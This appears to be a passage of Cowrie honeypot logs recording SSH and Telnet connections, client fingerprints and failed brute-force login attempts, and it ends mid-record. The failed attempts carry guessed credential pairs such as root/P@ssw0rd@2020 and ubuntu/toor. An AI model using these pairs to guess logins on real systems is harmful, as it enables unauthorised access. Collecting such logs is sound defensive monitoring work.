{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:00.525913Z","src_ip":"87.226.190.225","session":"060ba12afdd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"toor","message":"login attempt [ubuntu/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:01.215846Z","src_ip":"87.226.190.225","session":"060ba12afdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:02.386719Z","src_ip":"87.226.190.225","session":"060ba12afdd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":40078,"dst_ip":"159.203.135.109","dst_port":22,"session":"464e5737b8e7","protocol":"ssh","message":"New connection: 176.147.144.172:40078 (159.203.135.109:22) [session: 464e5737b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:03.987698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:03.994093Z","src_ip":"176.147.144.172","session":"464e5737b8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:04.089956Z","src_ip":"176.147.144.172","session":"464e5737b8e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:04.506504Z","src_ip":"176.147.144.172","session":"464e5737b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:05.605398Z","src_ip":"176.147.144.172","session":"464e5737b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60940,"dst_ip":"10.17.0.5","dst_port":22,"session":"26256889519e","protocol":"ssh","message":"New connection: 62.133.62.83:60940 (10.17.0.5:22) [session: 26256889519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:20.133471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:20.139940Z","src_ip":"62.133.62.83","session":"26256889519e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:20.221359Z","src_ip":"62.133.62.83","session":"26256889519e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banderlog","message":"login attempt [root/banderlog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:20.460680Z","src_ip":"62.133.62.83","session":"26256889519e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:22.124580Z","src_ip":"62.133.62.83","session":"26256889519e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"d449f7a6d97f","protocol":"ssh","message":"New connection: 137.184.228.138:33586 (159.203.135.109:22) [session: d449f7a6d97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:40.424981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:40.430366Z","src_ip":"137.184.228.138","session":"d449f7a6d97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:40.502408Z","src_ip":"137.184.228.138","session":"d449f7a6d97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pvx","password":"pvx","message":"login attempt [pvx/pvx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:40.819463Z","src_ip":"137.184.228.138","session":"d449f7a6d97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:49:41.894241Z","src_ip":"137.184.228.138","session":"d449f7a6d97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":39122,"dst_ip":"159.203.135.109","dst_port":23,"session":"222b55c26079","protocol":"telnet","message":"New connection: 79.139.59.21:39122 (159.203.135.109:23) [session: 222b55c26079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:01.391610Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":35484,"dst_ip":"159.203.135.109","dst_port":22,"session":"9801c484349b","protocol":"ssh","message":"New connection: 36.91.81.195:35484 (159.203.135.109:22) [session: 9801c484349b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:15.732862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:15.738145Z","src_ip":"36.91.81.195","session":"9801c484349b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:16.003058Z","src_ip":"36.91.81.195","session":"9801c484349b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2020","message":"login attempt [root/P@ssw0rd@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:17.087910Z","src_ip":"36.91.81.195","session":"9801c484349b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:18.361553Z","src_ip":"36.91.81.195","session":"9801c484349b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b2b38c810a7","protocol":"ssh","message":"New connection: 176.147.144.172:49092 (159.203.135.109:22) [session: 0b2b38c810a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:22.420745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:22.426661Z","src_ip":"176.147.144.172","session":"0b2b38c810a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:22.536413Z","src_ip":"176.147.144.172","session":"0b2b38c810a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:22.948354Z","src_ip":"176.147.144.172","session":"0b2b38c810a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":45236,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd12cf9f4bc0","protocol":"ssh","message":"New connection: 87.226.190.225:45236 (10.17.0.5:22) [session: fd12cf9f4bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:23.297156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:23.302041Z","src_ip":"87.226.190.225","session":"fd12cf9f4bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:23.463570Z","src_ip":"87.226.190.225","session":"fd12cf9f4bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:24.048265Z","src_ip":"176.147.144.172","session":"0b2b38c810a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12345678","message":"login attempt [root/Admin@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:24.135352Z","src_ip":"87.226.190.225","session":"fd12cf9f4bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:25.302010Z","src_ip":"87.226.190.225","session":"fd12cf9f4bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":48740,"dst_ip":"10.17.0.5","dst_port":22,"session":"0264521da793","protocol":"ssh","message":"New connection: 4.227.177.11:48740 (10.17.0.5:22) [session: 0264521da793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:35.554596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:35.564965Z","src_ip":"4.227.177.11","session":"0264521da793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:35.578769Z","src_ip":"4.227.177.11","session":"0264521da793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salam@123","message":"login attempt [root/Salam@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:35.654709Z","src_ip":"4.227.177.11","session":"0264521da793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:36.670650Z","src_ip":"4.227.177.11","session":"0264521da793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":41582,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c24d3de062","protocol":"ssh","message":"New connection: 103.172.78.219:41582 (10.17.0.5:22) [session: 06c24d3de062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:38.517110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:38.520875Z","src_ip":"103.172.78.219","session":"06c24d3de062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 